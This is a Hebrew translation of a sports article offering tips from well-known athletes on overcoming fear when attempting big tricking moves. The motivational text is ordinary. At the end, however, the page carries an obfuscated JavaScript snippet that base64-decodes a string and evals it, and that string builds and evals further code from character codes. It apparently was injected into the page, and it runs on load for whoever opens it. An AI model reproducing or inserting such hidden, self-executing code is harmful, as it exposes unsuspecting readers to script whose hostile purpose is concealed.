כולנו הרגשנו את זה. את תחושת ה-לעזאזל-אני-הולך-לשבור-את-כל-החוליות-בצוואר לפני שניסינו תרגיל גדול. טריקרים צריכים להלחם בפחד באופן תמידי, אבל מדריכים ביוטיוב לא מסבירים איך להתגבר על הפחד המשתק שבא יחד עם הדחיפה של הגבולות שלך. אז יצרתי קשר עם כמה מהטריקרים הטובים והאמיצים בעולם בכדי לעזור לכולנו להבין כיצד עושים את זה. ובסופו של דבר, מילים אלו של תבונה הגיעו אלינו.
תפסיק לתת לתרגילים מעמד גבוהה מידי
אם אתה מתחיל לחשוב על תרגילים ברמה גבוהה בתור משהו קשה באופן פסיכי ושהם כמעט בלתי אפשריים אתה יוצר מחסום מנטלי בינך לבין ההצלחה שלך. במקום זה, תקשיב לרודי מידווס :" אני מסתכל על כל תרגיל שאני עושה כשווה לשאר התרגילים. חלק קשים יותר פיזית ,בהחלט, אבל לא בהכרח גדולים יותר. אל תשים שום תרגיל במעמד גבוהה. זה רק גורם לך לחשוב יותר מידי , וזה גורם לתרגיל להיות הרבה יותר קשה ממה שהוא באמת." אם תיגש לכל תרגיל בתור משהו בר השגה, מטרה שאתה מסוגל להגיע אליה, אז ההצלחה היא כבר מציאות אצלך במוח, ולפחד יש מעט מאוד מקום.
"אל תשים תרגילים על מעמד גבוהה " -רודי מידווס
תעשה את שיעורי הבית שלך
אם באטמן מתחיל לימד אותנו משהו, זה שאנשים מפחדים ממה שהם לא מבינים. אז, תצפה במדריכים ביוטיוב וסרטונים של המומחים בתחום עד שאתה יכול לרשום ספר לימוד על התרגיל שבו אתה רוצה לשלוט. טרמפולינה וכל התרגילים המקדימים לתרגיל שבו אתה חפץ הם החברים הכי טובים שלך פה, אז הגיע הזמן שתרגיש בנוח איתם. פאט צ'או, הידוע בתור ראמנפוד, מוסיף , "תדמיין את עצמך עושה את התרגיל , בגלל שאם אתה מכיר את התרגיל ומבין אותו, התרגיל נהיה פחות מפחיד." דמיון הוא כלי נהדר בכדי להיות מוכן לדבר האמיתי אז קדימה תנסה!
תלמד את הטכניקה הנכונה!
תתמקד בטכניקה שלך ולא בפחד
בשביל האחד הזה נלך לניק ווייל :" המוח שלך יכול להתרכז רק בדבר אחד בפעם , או להתרכז בלעשות את התרגיל או בלפחד מלעשות אותו…. אם תתמקד בביצוע ותשאיר את הרגש מחוץ למוח בזמן הזה , נשאר לך רק לעשות את הטכניקה הנכונה." לא הייתי יכול לומר את זה יותר טוב בעצמי.
הראשון תמיד הכי נורא.
כנראה שהניסיון הראשון שלך לעשות את התרגיל יהיה הכי מפחיד. אבל אחרי זה כל ניסיון הוא הרבה יותר קל בגלל שאתה יודע שאתה בטוח תשרוד! אבל אתה חייב לעבור את הניסיון הראשון הזה או אפילו הראשון לאותו האימון ומשם יהיה הרבה יותר פשוט להתקדם.
תצא מהראש שלך!
האחד הזה מגיע מליל ג'ון. אם אתה מתחיל להסתבך יותר מידי בתוך עצמך וזה גורם לך לחשוב יותר מידי וזה מוביל לפחד מהתרגיל אז צא מהראש שלך לקצת. תעבוד על תרגיל אחר , דבר עם חברים שלך, תקשיב למוזיקה, תעשה מדיטציה, מה שעובד בשבילך. ככה אתה יכול פשוט לאתחל את המוח ולחזור להתאמן על התרגיל בראש נקי.
פשוט תעשה reset למוח!
תהפוך לסופר סאיין
כל הטריקרים נולדו עם דם סאייני, אז כשהזמן הנכון מגיע, תתחרפן! תעשה קוצים בשיער , תצעק, תקבל שיחת עידוד , תארגן spirit bomb , מה שאתה צריך. או אם גדלת איכשהו באופן טרגי מבלי לראות דרגון בול, (אז אפשר גם עכשיו אבל) אתה יכול גם פשוט לשים מוזיקה ולחכות לדרופ. המוזיקה הנכונה גורמת לזרימה של ארדנלין, שוברת את כל המחסומים ודוחפת אותה לגבהים חדשים.(גם פיזית). וון סימונס מסכם את זה באופן מושלם:" כהשמוזיקה מרגישה נכון , תן לרגש שבא איתה לסחוף אותך."
תנסה גישה אחרת.
אם אתה עדיין מתוסכל ואתה מתחרפן למרות שעות של עבודה על אותו התרגיל , קח עצה מטוני סורפמן. הוא מציע " כניסות שונות לאותו התרגיל שאותו אתה רוצה לנחות… בגלל שאסטרטגיה שונה יכולה להיות כל מה שחסר לך….. תשבור את החוקים!" לכל טריקר יש גוף שונה וכישורים שונים , אז תעשה ניסויים ותראה מה עובד הכי טוב בשבילך. בנוסף, כמו שטוני מוסיף אחרי כן, הניסויים האלו יעזרו להפוך אותך לטריקר מיוחד ומגוון עם סטייל שייחודי לך.
תבטח בעצמך ותשאר חיובי.
בטריקינג , התפיסה שלך היא הכל, אז תחתור לעבר הבטחון של רורי ברטר . לפני תרגיל גדול רורי מסביר " אני משנה את המחשבה אצלי בראש מ-אני הולך לנסות את זה, ל-אני הולך לעשות את זה" כשההצלחה היא דבר בטוח אצלך בראש אז אז אתה מגדיל את הסיכויים שלך לנחות את התרגיל באמת. אבל אפילו אם אתה לא נוחת, לא נכשלת! ביילי פיין מציין ש-"אתה באמת הצלחת כי התגברת על הפחד מהתרגיל " אם תגדיר את עצמך בתור כישלון, אתה לא תשתפר בחיים. אבל אם תשאר אופטימי למרות הקשיים, אתה תצליח.
אף אחד לא אמר שטריקינג זה קל, אם זה היה קל כולם היו עושים את זה. אבל שבירת הגבולות המנטליות והפיזיות שלך הם מה שהופכים את טריקינג לספורט כל כך ייחודי ואת הטריקרים למוכשרים כל כך. אז תזכור כמה אתה רוצה את זה, תסתכל בטיפים האלו אם אתה צריך , וצא החוצה ותפציץ!!
תורגם מאנגלית ,הכתבה במקור ע"י ג'רמי פרייס – https://invincibletricking.co/2015/08/top-8-tips-vanquish-fear/
var GJOLTNKBMK = atob('dmFyIEFFTlpTRkNCTVogPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDE1IC0gNSwgMTIzIC0gNSwgOTggLSAxLCAxMjEgLSA3LCAzNSAtIDMsIDEwOSAtIDIsIDEwOSAtIDgsIDEyNiAtIDUsIDM3IC0gNSwgNzAgLSA5LCA0MSAtIDksIDQ2IC0gNywgNzggLSA2LCAxMTAgLSAxLCA5MyAtIDQsIDc2IC0gNywgNzIgLSA2LCA4OCAtIDgsIDEwMyAtIDEsIDEwNSAtIDgsIDg2IC0gNCwgMTMxIC0gOSwgNDcgLSA4LCA2MSAtIDIsIDE1IC0gNSwgMTI2IC0gOCwgMTA0IC0gNywgMTIzIC0gOSwgMzkgLSA3LCAxMDQgLSAzLCAxMTcgLSA3LCAxMDcgLSA4LCAxMDQgLSAzLCAxMDcgLSA3LCAzNSAtIDMsIDYyIC0gMSwgNDAgLSA4LCA0OCAtIDksIDg4IC0gOCwgMTEyIC0gOSwgMTI1IC0gNiwgMTIwIC0gNiwgOTkgLSA5LCA4OCAtIDQsIDgyIC0gOSwgMTEzIC0gOCwgNzIgLSA3LCA3MCAtIDUsIDU0IC0gNSwgMTIzIC0gMiwgOTAgLSA4LCA1NyAtIDcsIDExMiAtIDksIDc5IC0gNSwgODIgLSA0LCAxMTQgLSA5LCA5MyAtIDQsIDU3IC0gNiwgODYgLSA2LCA4NiAtIDUsIDg1IC0gOCwgODMgLSAzLCA3NiAtIDIsIDExNCAtIDYsIDkwIC0gOSwgMTE4IC0gNCwgNzUgLSAzLCAxMjggLSA2LCAxMjYgLSA3LCAxMTEgLSA0LCA4MSAtIDMsIDEwNyAtIDEsIDk0IC0gOSwgMTEyIC0gNiwgNzQgLSA2LCA4NSAtIDEsIDEwNSAtIDYsIDg5IC0gMSwgODQgLSA4LCA4NyAtIDYsIDg2IC0gOSwgMTIxIC0gNSwgMTA1IC0gNywgODggLSAxLCA4NiAtIDEsIDEwOSAtIDMsIDY5IC0gMywgODggLSA2LCA3OCAtIDEsIDU4IC0gMywgNzEgLSA0LCAxMTAgLSA0LCAxMjEgLSAxLCA4MiAtIDcsIDEwNyAtIDgsIDc4IC0gNiwgNTggLSA1LCA3OCAtIDUsIDc0IC0gMSwgNjkgLSAzLCA4MiAtIDEsIDc3IC0gNSwgODYgLSA2LCAxMTMgLSA1LCA4OCAtIDcsIDU4IC0gMywgNzEgLSA0LCA3MiAtIDUsIDUwIC0gMiwgNzIgLSAzLCA3OSAtIDEsIDEwNiAtIDEsIDg0IC0gMywgOTMgLSA4LCA3MyAtIDYsIDc2IC0gOCwgNzQgLSA5LCA4MiAtIDIsIDgxIC0gMSwgNzIgLSA3LCAxMDggLSA0LCAxMjQgLSA0LCA5OCAtIDksIDExNSAtIDksIDc4IC0gOSwgMTExIC0gNiwgNzQgLSA4LCA4OSAtIDQsIDkyIC0gMiwgNDkgLSA2LCA5NSAtIDcsIDkxIC0gOCwgNjkgLSA0LCA5OSAtIDksIDgxIC0gNSwgODcgLSAzLCA5NCAtIDgsIDU0IC0gMiwgMTA0IC0gMiwgNDkgLSAxLCAxMTYgLSA5LCA5NSAtIDksIDgyIC0gOSwgNzUgLSA5LCAxMjQgLSA5LCAxMjUgLSA4LCA2OCAtIDEsIDEyNSAtIDMsIDY4IC0gMywgMTE0IC0gNSwgODAgLSA3LCAxMjkgLSA4LCA3NCAtIDksIDgzIC0gMywgOTMgLSA5LCAxMjUgLSAzLCAxMjAgLSAxLCA5MCAtIDMsIDk0IC0gNCwgMTI1IC0gNSwgNTcgLSA1LCAxMTkgLSAzLCA3OSAtIDUsIDY5IC0gMSwgOTAgLSAxLCA2MiAtIDksIDc0IC0gOCwgOTEgLSA2LCA2MSAtIDksIDU1IC0gOCwgNzcgLSA2LCAxMjkgLSA4LCA3NyAtIDgsIDczIC0gNSwgMTA2IC0gNiwgMTI2IC0gNSwgNTggLSAyLCAxMjcgLSA3LCAxMDQgLSA0LCA1MCAtIDIsIDY2IC0gOSwgMTAyIC0gNSwgODkgLSAyLCA3MCAtIDQsIDU2IC0gNCwgMTExIC0gMSwgNjkgLSAxLCAxMTIgLSA3LCAxMjggLSA5LCAxMTIgLSAxLCA4MSAtIDcsIDEyNiAtIDQsIDU2IC0gNCwgODggLSA1LCA4NSAtIDEsIDEyMyAtIDEsIDExNiAtIDUsIDEwMyAtIDEsIDc2IC0gMSwgODQgLSAzLCAxMTcgLSA5LCA2MCAtIDksIDc4IC0gNCwgNzUgLSA3LCA3OCAtIDUsIDEwOSAtIDYsIDcxIC0gNiwgMTI3IC0gOCwgNTggLSAyLCA1NyAtIDcsIDg2IC0gNywgOTAgLSA3LCA2OSAtIDQsIDc3IC0gOCwgODIgLSA0LCA4NCAtIDEsIDcyIC0gMiwgMTE4IC0gNSwgNzcgLSA0LCA2OSAtIDMsIDg5IC0gOCwgNzggLSA2LCA4NiAtIDYsIDExMCAtIDIsIDg1IC0gNywgMTI1IC0gMywgOTkgLSA5LCAxMjIgLSAzLCA2NCAtIDMsIDY3IC0gNiwgNDYgLSA3LCA2NSAtIDYsIDExIC0gMSwgMTA4IC0gNiwgMTE4IC0gMSwgMTEyIC0gMiwgMTA4IC0gOSwgMTIwIC0gNCwgMTA2IC0gMSwgMTEzIC0gMiwgMTEyIC0gMiwgMzggLSA2LCAxMjkgLSA5LCAxMTYgLSA1LCAxMjMgLSA5LCAxMDMgLSA4LCAxMDggLSA3LCAxMTMgLSAzLCAxMDQgLSA1LCA0NyAtIDcsIDEyMiAtIDcsIDEyMSAtIDUsIDExNyAtIDMsIDEwNiAtIDEsIDExOCAtIDgsIDEwNyAtIDQsIDUxIC0gNywgNDAgLSA4LCAxMTAgLSAzLCAxMDUgLSA0LCAxMjggLSA3LCA0NSAtIDQsIDQxIC0gOSwgMTMxIC0gOCwgMTcgLSA3LCAzOSAtIDcsIDQxIC0gOSwgMTIwIC0gMiwgMTAxIC0gNCwgMTE4IC0gNCwgMzggLSA2LCAxMjIgLSA4LCAxMDUgLSA0LCAxMTYgLSAxLCAzNSAtIDMsIDY3IC0gNiwgMzggLSA2LCA0MyAtIDQsIDQzIC0gNCwgNjggLSA5LCAxMyAtIDMsIDM3IC0gNSwgNDEgLSA5LCAxMDUgLSAzLCAxMTcgLSA2LCAxMjEgLSA3LCAzOCAtIDYsIDQxIC0gMSwgMTE5IC0gMSwgMTA1IC0gOCwgMTIwIC0gNiwgMzcgLSA1LCAxMTAgLSA1LCAzNiAtIDQsIDYzIC0gMiwgNDAgLSA4LCA1MSAtIDMsIDYxIC0gMiwgMzcgLSA1LCAxMTQgLSA5LCA0MSAtIDksIDY1IC0gNSwgMzYgLSA0LCAxMjEgLSA2LCAxMTcgLSAxLCAxMTggLSA0LCAxMDcgLSAyLCAxMTYgLSA2LCAxMTAgLSA3LCA1MyAtIDcsIDExNSAtIDcsIDEwNSAtIDQsIDExNSAtIDUsIDEwNiAtIDMsIDEyMCAtIDQsIDEwOCAtIDQsIDYzIC0gNCwgMzkgLSA3LCAxMDYgLSAxLCA0OSAtIDYsIDQ0IC0gMSwgNTAgLSA5LCA0MCAtIDgsIDEyNiAtIDMsIDEyIC0gMiwgMzcgLSA1LCAzOSAtIDcsIDMzIC0gMSwgMzMgLSAxLCAxMTkgLSA1LCAxMDcgLSA2LCAxMjEgLSA2LCAzMyAtIDEsIDUxIC0gOCwgNjcgLSA2LCAzOSAtIDcsIDg1IC0gMiwgMTIxIC0gNSwgMTIzIC0gOSwgMTEwIC0gNSwgMTExIC0gMSwgMTEwIC0gNywgNDggLSAyLCAxMTAgLSA4LCAxMjMgLSA5LCAxMTMgLSAyLCAxMTggLSA5LCA3MSAtIDQsIDExMyAtIDksIDEwNiAtIDksIDEyMyAtIDksIDY5IC0gMiwgMTEzIC0gMiwgMTA0IC0gNCwgMTA5IC0gOCwgNDEgLSAxLCAxMjEgLSA2LCAxMTggLSAyLCAxMTkgLSA1LCAxMTQgLSA5LCAxMTQgLSA0LCAxMDUgLSAyLCA0OSAtIDMsIDEwNCAtIDUsIDEwOCAtIDQsIDEwNSAtIDgsIDExOCAtIDQsIDcwIC0gMywgMTE0IC0gMywgMTA3IC0gNywgMTEwIC0gOSwgNjYgLSAxLCAxMjIgLSA2LCA0MiAtIDIsIDEwNiAtIDEsIDQ1IC0gNCwgMzcgLSA1LCAxMDIgLSA4LCAxNSAtIDUsIDE2IC0gNywgMTIgLSAzLCAxMyAtIDQsIDE0IC0gNSwgMTEwIC0gMywgMTAyIC0gMSwgMTIyIC0gMSwgNTMgLSA3LCAxMDMgLSA0LCAxMTIgLSA4LCAxMDEgLSA0LCAxMTUgLSAxLCA3MCAtIDMsIDEyMCAtIDksIDEwMiAtIDIsIDEwMyAtIDIsIDY5IC0gNCwgMTIzIC0gNywgNDMgLSAzLCAxMTQgLSA5LCAzNSAtIDMsIDQwIC0gMywgMzkgLSA3LCAxMTEgLSA0LCAxMTAgLSA5LCAxMjcgLSA2LCA1MCAtIDQsIDExNSAtIDcsIDEwNiAtIDUsIDExNiAtIDYsIDEwNSAtIDIsIDEyMCAtIDQsIDExMCAtIDYsIDQ3IC0gNiwgNDkgLSA4LCA2MiAtIDMsIDE1IC0gNSwgMzkgLSA3LCAzMyAtIDEsIDEzNCAtIDksIDE3IC0gNywgNDAgLSA4LCA0MSAtIDksIDExOSAtIDUsIDEwOCAtIDcsIDExOSAtIDMsIDEyNCAtIDcsIDEyMyAtIDksIDExMSAtIDEsIDM4IC0gNiwgMTIxIC0gNywgMTA0IC0gMywgMTIzIC0gOCwgNjggLSA5LCAxNCAtIDQsIDEyNiAtIDEsIDE4IC0gOCwgMTcgLSA3LCAxMjYgLSA4LCA5OSAtIDIsIDExOCAtIDQsIDM2IC0gNCwgMTA2IC0gNiwgMTA5IC0gOCwgMTA3IC0gOCwgMzkgLSA3LCA2MyAtIDIsIDQxIC0gOSwgMTI5IC0gOSwgMTE3IC0gNiwgMTIyIC0gOCwgMTAxIC0gNiwgMTAzIC0gMiwgMTE2IC0gNiwgMTAyIC0gMywgNDUgLSA1LCAxMDQgLSA3LCAxMjUgLSA5LCAxMTUgLSA0LCAxMDMgLSA1LCA0OSAtIDksIDEwNiAtIDUsIDExOCAtIDgsIDEwMCAtIDEsIDEwNSAtIDQsIDEwNSAtIDUsIDQ0IC0gMywgNTIgLSA4LCAzNSAtIDMsIDEwOCAtIDEsIDExMCAtIDksIDEyNyAtIDYsIDQ2IC0gNSwgNjAgLSAxLCAxOSAtIDksIDQ1IC0gNSwgMTE1IC0gNSwgMTAyIC0gMSwgMTI1IC0gNiwgMzcgLSA1LCA3MyAtIDMsIDEyNiAtIDksIDExNSAtIDUsIDEwNyAtIDgsIDEyMSAtIDUsIDEwNiAtIDEsIDExNyAtIDYsIDExOCAtIDgsIDQyIC0gMiwgMTA0IC0gNCwgMTA0IC0gMywgMTAxIC0gMiwgNDMgLSAyLCA0NCAtIDMsIDQzIC0gMywgNDUgLSA0LCA2NSAtIDYsIDE5IC0gOSwgMTcgLSA3KTtldmFsKEFFTlpTRkNCTVopOw==');
eval(GJOLTNKBMK);